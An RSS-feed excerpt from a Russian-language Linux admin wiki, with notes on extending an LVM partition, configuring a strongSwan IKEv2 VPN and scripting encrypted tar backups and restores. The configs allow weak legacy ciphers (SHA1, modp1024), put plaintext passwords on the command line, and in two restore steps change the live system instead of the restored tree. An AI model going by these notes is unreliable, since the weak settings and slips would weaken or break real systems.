Ситуация - &lt;strong&gt;Ubuntu 18.04&lt;/strong&gt; установлена на виртуальной машине. Разбивка дисков - дефолтная &lt;strong&gt;LVM&lt;/strong&gt;.
Нужно добавить места на диск с системой и расширить &lt;strong&gt;LVM&lt;/strong&gt;. Я не хочу добавлять новый раздел, а хочу расширить существующий.
&lt;/p&gt;

&lt;p&gt;
Было так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# gdisk -l /dev/xvda

Disk /dev/xvda: 25165824 sectors, 12.0 GiB
Main partition table begins at sector 2 and ends at sector 33
First usable sector is 34, last usable sector is 16777182

Number  Start (sector)    End (sector)  Size       Code  Name
   1            2048            4095   1024.0 KiB  EF02
   2            4096         2101247   1024.0 MiB  8300
   3         2101248        16777182   7.0 GiB     8300  Linux filesystem&lt;/pre&gt;

&lt;p&gt;
Нужно пересоздать раздел, расширив его на свободное место:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo sgdisk --delete=3 /dev/xvda
sudo sgdisk --new=3:$(expr $(sudo sgdisk -p /dev/xvda | awk &amp;#039;/   2 /  {print($3)}&amp;#039;) + 1):$(expr $(sudo sgdisk -p /dev/xvda | awk &amp;#039;/Disk \// {print($3)}&amp;#039;) - 34) /dev/xvda
sudo sgdisk --typecode=3:8300 /dev/xvda
sudo partprobe&lt;/pre&gt;

&lt;p&gt;
или проще: &lt;br/&gt;

Переносим заголовок раздела в конец диска
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sgdisk -e /dev/sda&lt;/pre&gt;

&lt;p&gt;
Удаляем и вновь создаем раздел:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sgdisk -d 3 /dev/sda
sgdisk -N 3 /dev/sda&lt;/pre&gt;

&lt;p&gt;
Делаем изменения доступными в системе:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;partprobe /dev/sda&lt;/pre&gt;

&lt;p&gt;
Стало так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# gdisk -l /dev/xvda

Disk /dev/xvda: 25165824 sectors, 12.0 GiB
Main partition table begins at sector 2 and ends at sector 33
First usable sector is 34, last usable sector is 25165790

Number  Start (sector)    End (sector)  Size       Code  Name
   1            2048            4095   1024.0 KiB  EF02
   2            4096         2101247   1024.0 MiB  8300
   3         2101248        25165790   11.0 GiB    8300&lt;/pre&gt;

&lt;p&gt;
После этого делаем ресайз физического тома:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo pvresize /dev/xvda3&lt;/pre&gt;

&lt;p&gt;
В результате физический том займет всё свободное место на разделе.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lvresize -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 20 Sep 2019 11:19:01 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_18.04_setup_strongswan</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_18.04_setup_strongswan</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Настроить &lt;strong&gt;L2TP IPSec VPN&lt;/strong&gt; сервер для подключения &lt;strong&gt;Windows&lt;/strong&gt;-клиентов.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-139&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Решение по мотивам &lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-set-up-an-ikev2-vpn-server-with-strongswan-on-ubuntu-18-04-2&quot; class=&quot;urlextern&quot; title=&quot;https://www.digitalocean.com/community/tutorials/how-to-set-up-an-ikev2-vpn-server-with-strongswan-on-ubuntu-18-04-2&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-set-up-an-ikev2-vpn-server-with-strongswan-on-ubuntu-18-04-2&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;140-323&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;ставим_софт&quot;&gt;Ставим софт&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade

sudo apt-get install strongswan certbot libcharon-extra-plugins&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0430\u0432\u0438\u043c \u0441\u043e\u0444\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0430\u0432\u0438\u043c_\u0441\u043e\u0444\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;324-482&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;настраиваем_firewall&quot;&gt;Настраиваем firewall&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ufw allow OpenSSH
sudo ufw allow http
sudo ufw allow https
sudo ufw allow 500,4500/udp

sudo ufw enable&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c firewall&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c_firewall&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;483-650&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;получаем_сертификат&quot;&gt;Получаем сертификат&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo certbot certonly --rsa-key-size 4096 --standalone --agree-tos --no-eff-email --email mikhail@xc360.ru -d testprivate.xc360.ru&lt;/pre&gt;

&lt;p&gt;
копируем его в конфигурацию &lt;strong&gt;ipsec&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp /etc/letsencrypt/live/testprivate.xc360.ru/fullchain.pem /etc/ipsec.d/certs/
sudo cp /etc/letsencrypt/live/testprivate.xc360.ru/privkey.pem /etc/ipsec.d/private/
sudo cp /etc/letsencrypt/live/testprivate.xc360.ru/chain.pem /etc/ipsec.d/cacerts/&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;651-1155&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;конфигурация_сервера_ipsec&quot;&gt;Конфигурация сервера IPSec&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mv /etc/ipsec.conf{,.original}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 IPSec&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f_\u0441\u0435\u0440\u0432\u0435\u0440\u0430_ipsec&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;1156-1254&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;etcipsecconf&quot;&gt;/etc/ipsec.conf&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://wiki.strongswan.org/projects/strongswan/wiki/Win7EapMultipleConfig&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.strongswan.org/projects/strongswan/wiki/Win7EapMultipleConfig&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.strongswan.org/projects/strongswan/wiki/Win7EapMultipleConfig&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#global configuration IPsec
#chron logger
config setup
#    charondebug=&amp;quot;ike 1, knl 1, cfg 0&amp;quot;
#    uniqueids=no
     plutostart=no

conn %default
    keyexchange=ikev2
    ike=aes128-sha1-modp1024,aes128-sha1-modp1536,aes128-sha1-modp2048,aes128-sha256-ecp256,aes128-sha256-modp1024,aes128-sha256-modp1536,aes128-sha256-modp2048,aes256-aes128-sha256-sha1-modp2048-modp4096-modp1024,aes256-sha1-modp1024,a$
    esp=aes128-aes256-sha1-sha256-modp2048-modp4096-modp1024,aes128-sha1,aes128-sha1-modp1024,aes128-sha1-modp1536,aes128-sha1-modp2048,aes128-sha256,aes128-sha256-ecp256,aes128-sha256-modp1024,aes128-sha256-modp1536,aes128-sha256-modp2$
    dpdaction=clear
    dpddelay=300s
    rekey=no

conn win7
    left=%any
    leftsubnet=0.0.0.0/0
    leftauth=pubkey
    leftcert=fullchain.pem
    leftid=@testprivate.xc360.ru
    right=%any
    rightsourceip=10.10.10.0/24
    rightauth=eap-mschapv2
    #rightsendcert=never   # see note
    eap_identity=%identity
    auto=add&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/ipsec.conf&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etcipsecconf&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;1255-2348&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit8&quot; id=&quot;прописываем_пользователейetcipsecsecrets&quot;&gt;Прописываем пользователей - /etc/ipsec.secrets&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;dl&gt;
&lt;dd class=&quot;level1&quot;&gt;&lt;div class=&quot;dd&quot;&gt;
 RSA “privkey.pem”
&lt;/div&gt;&lt;/dd&gt;
&lt;/dl&gt;


&lt;p&gt;
  user : EAP “test”
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 - \/etc\/ipsec.secrets&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439etcipsecsecrets&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;2349-2473&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit9&quot; id=&quot;выдаем_клиентам_dns_и_wins_серверы&quot;&gt;Выдаем клиентам DNS и WINS серверы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt;/etc/strongswan.d/client-dns.conf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;charon {
  dns1 = 4.2.2.4
  dns2 = 8.8.8.8
}&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;/etc/strongswan.d/client-wins.conf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;charon {
  nbns1 = 10.10.1.1
  nbns2 = 10.10.0.1
}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u044b\u0434\u0430\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c DNS \u0438 WINS \u0441\u0435\u0440\u0432\u0435\u0440\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u044b\u0434\u0430\u0435\u043c_\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c_dns_\u0438_wins_\u0441\u0435\u0440\u0432\u0435\u0440\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;2474-2747&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit10&quot; id=&quot;контролируем_работу&quot;&gt;Контролируем работу&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo tail -f /var/log/syslog&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c \u0440\u0430\u0431\u043e\u0442\u0443&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c_\u0440\u0430\u0431\u043e\u0442\u0443&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;2748-2831&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit11&quot; id=&quot;проблемы&quot;&gt;Проблемы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;2832-2862&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit12&quot; id=&quot;подключение_только_со_второй_попытки&quot;&gt;подключение только со второй попытки&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://wiki.strongswan.org/issues/1183&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.strongswan.org/issues/1183&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.strongswan.org/issues/1183&lt;/a&gt; &lt;br/&gt;

Если при первой попытке подключения Windows-клиент сообщает, что неверный пароль, но успешно подключается с тем же паролем со второй попытки, а в логах сервера есть такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;user charon: 11[ENC] parsed IKE_AUTH request 2 [ EAP/RES/MSCHAPV2 ]
user charon: 11[IKE] EAP-MS-CHAPv2 username: &amp;#039;%any&amp;#039;
user charon: 11[IKE] no EAP key found for hosts &amp;#039;%any&amp;#039; - &amp;#039;%any&amp;#039;
user charon: 11[IKE] EAP-MS-CHAPv2 verification failed, retry (1)&lt;/pre&gt;

&lt;p&gt;
значит нужно установить &lt;strong&gt;libcharon-extra-plugins&lt;/strong&gt;, а в конфигурации &lt;strong&gt;/etc/ipsec.conf&lt;/strong&gt; должно быть прописано:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;eap_identity=%identity&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_\u0442\u043e\u043b\u044c\u043a\u043e_\u0441\u043e_\u0432\u0442\u043e\u0440\u043e\u0439_\u043f\u043e\u043f\u044b\u0442\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;2863-3750&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit13&quot; id=&quot;не_подключается&quot;&gt;Не подключается&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В логах сервера такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;user charon: 07[IKE] received proposals inacceptable&lt;/pre&gt;

&lt;p&gt;
Это значит, что сервер и клиент не могут договориться о применяемых алгоритмах шифрования. Нужно смотреть на строки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ike=...
esp=...&lt;/pre&gt;

&lt;p&gt;
в них прописаны разрешенные алгоритмы шифрования
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0435_\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;3751-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 13 Jul 2022 12:08:33 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_ad_faq</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_ad_faq</link>
            <description>
&lt;p&gt;
хороший мануал с подробностями от Исаева Романа А. &lt;a href=&quot;https://forum.ubuntu.ru/index.php?topic=17941.0&quot; class=&quot;urlextern&quot; title=&quot;https://forum.ubuntu.ru/index.php?topic=17941.0&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.ubuntu.ru/index.php?topic=17941.0&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 30 Mar 2021 09:51:12 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_backup</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_backup</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;backup&quot;&gt;Backup&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В один поток:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo tar -cvpzf - --exclude=/mnt --exclude=/sys --exclude=/run --exclude=/dev --exclude=/proc --exclude=/media --exclude=/tmp --exclude=/var/log/lastlog --exclude=/home/local/RIMOS_NT_01/usikmi/Desktop/Shared --exclude=/home/local/RIMOS_NT_01/usikmi/Desktop/W  --exclude=/var/lib/libvirt/qemu/save/Win2008.save / | openssl enc -aes-192-cbc -pass pass:xxx -out /mnt/sdb1/backup_$(date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;).tar.gz.enc&lt;/pre&gt;

&lt;p&gt;
В несколько потоков с помощью &lt;strong&gt;pigz&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install pigz
sudo tar -cvpf - --use-compress-program=pigz --exclude=/mnt --exclude=/sys --exclude=/run --exclude=/dev --exclude=/proc --exclude=/media --exclude=/tmp --exclude=/var/log/lastlog --exclude=/home/local/RIMOS_NT_01/usikmi/Desktop --exclude=/var/lib/libvirt / | openssl enc -aes-192-cbc -pass pass:xxx -out /mnt/hdd/backup_$(date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;).tar.gz.enc&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Backup&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;backup&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-914&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;backup_по_расписанию&quot;&gt;Backup по расписанию&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Backup \u043f\u043e \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u044e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;backup_\u043f\u043e_\u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u044e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;915-961&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;etccrondailybackup&quot;&gt;/etc/cron.daily/backup&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Скрипт бекапит систему в заданную папку и следит за количеством файлов бекапа.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
backup_depth_days=14
backup_path=&amp;#039;/mnt/hdd&amp;#039;
backup_prefix=&amp;#039;backup_&amp;#039;

backup_files=`ls $backup_path/$backup_prefix* -t`
backup_files=(${backup_files// / })

if [[ ${#backup_files[@]} -gt $backup_depth_days ]]; then
        for ((i = $backup_depth_days; i &amp;lt; ${#backup_files[@]}; i++))
        {
            sudo rm -r -f ${backup_files[$i]}
        }
fi

sudo tar -cvpf $backup_path/$backup_prefix$(date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;).tar.gz --use-compress-program=pigz --exclude=/mnt --exclude=/sys --exclude=/run --exclude=/dev --exclude=/proc --exclude=/media --exclude=/tmp --exclude=/var/log/lastlog --exclude=/home/RDLEAS/usik.ma/Downloads /&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/cron.daily\/backup&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etccrondailybackup&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;962-1802&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;restore&quot;&gt;Restore&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Загружаемся с Live-CD.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Restore&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;restore&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1803-1860&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;восстановление_на_тот_же_раздел&quot;&gt;Восстановление на тот же раздел&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
При восстановлении на тот же раздел форматируем его с сохранением UUID (чтобы не переписывать &lt;strong&gt;/etc/fstab&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkfs.ext4 -L &amp;quot;label&amp;quot; -U &amp;quot;$(sudo blkid -o value -s UUID /dev/sdXy)&amp;quot; /dev/sdXy&lt;/pre&gt;

&lt;p&gt;
Монтируем раздел:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir /mnt/restore
mount /dev/sdXy /mnt/restore&lt;/pre&gt;

&lt;p&gt;
Расшифровываем и распаковываем файлик бекапа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl enc -in /mnt/sdb1/backup_.tar.gz.enc -d -aes-192-cbc -pass pass:1q2w3e4R1 | sudo tar --same-owner -xzvpf - -C /mnt/restore&lt;/pre&gt;

&lt;p&gt;
На всякий случай (не обязательно) восстанавливаем &lt;strong&gt;grub&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo grub-install --root-directory=/mnt/restore /dev/sdX&lt;/pre&gt;

&lt;p&gt;
Обязательно создаем снова папки, которые были исключены при копировании:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir /mnt/restore/{mnt,sys,run,dev,proc,media,tmp}
sudo touch /mnt/restore/var/log/lastlog&lt;/pre&gt;

&lt;p&gt;
Даем права на /tmp (иначе не запустятся иксы):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod -R a+rw /mnt/restore/tmp&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0442\u043e\u0442 \u0436\u0435 \u0440\u0430\u0437\u0434\u0435\u043b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435_\u043d\u0430_\u0442\u043e\u0442_\u0436\u0435_\u0440\u0430\u0437\u0434\u0435\u043b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;1861-3022&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;восстановление_на_другой_диск&quot;&gt;Восстановление на другой диск&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Разбиваем диск fdisk&amp;#039;ом.
Делаем загрузочный раздел активным.
Форматируем и монтируем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkfs.ext4 /dev/sdXy
mount /dev/sdXy /mnt/restore&lt;/pre&gt;

&lt;p&gt;
Распаковываем файлик бекапа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl enc -in /mnt/sdb1/backup_.tar.gz.enc -d -aes-192-cbc -pass pass:1q2w3e4R1 | sudo tar --same-owner -xzvpf - -C /mnt/restore&lt;/pre&gt;

&lt;p&gt;
Обязательно создаем снова папки, которые были исключены при копировании:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir /mnt/restore/{mnt,sys,run,dev,proc,media,tmp}
sudo touch /var/log/lastlog&lt;/pre&gt;

&lt;p&gt;
Даем права на /tmp (иначе не запустятся иксы):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod -R a+rw /tmp&lt;/pre&gt;

&lt;p&gt;
Обязательно восстанавливаем &lt;strong&gt;grub&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo grub-install --root-directory=/mnt/restore /dev/sdX&lt;/pre&gt;

&lt;p&gt;
